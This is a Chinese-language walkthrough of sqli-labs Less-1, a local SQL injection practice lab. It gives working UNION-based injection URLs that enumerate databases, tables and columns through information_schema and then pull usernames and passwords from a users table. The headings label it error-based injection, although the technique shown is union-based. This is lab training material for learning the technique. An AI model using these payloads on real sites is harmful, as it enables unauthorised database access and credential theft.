Less-1
利用'进行测试,后面跟or语句测试注入点,证明id字段可以注入
Less-1【报错注入】
利用order by X 测试该表格几列数据,并测试第几列数据可以注入
Less-1【报错注入】Less-1【报错注入】Less-1【报错注入】
爆库过程
  • 库名
        单独爆破
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,(select schema_name from information_schema.schemata limit 2,1),3--+
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,(select schema_name from information_schema.schemata limit 3,1),3--+
Less-1【报错注入】
利用group_concat爆破
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+limit 0,1
或者
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
Less-1【报错注入】
 
  • 表名
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,(select%20group_concat(table_name)%20from%20information_schema.tables),3--+
Less-1【报错注入】
  • 表对应列名
(select group_concat(column_name) from information_schema.columns where table_name='users')
Less-1【报错注入】
  • user中对应的password和user
(select group_concat(username)from users)
(select group_concat(password)from users)
Less-1【报错注入】
 
 
 
 
 

相关文章:

  • 2021-09-07
  • 2021-12-02
  • 2021-06-05
  • 2022-12-23
  • 2021-11-10
  • 2022-02-26
  • 2021-11-24
  • 2021-11-28
猜你喜欢
  • 2021-10-22
  • 2022-01-14
  • 2022-02-10
  • 2021-06-14
  • 2021-12-05
  • 2021-07-05
  • 2021-10-01
相关资源
相似解决方案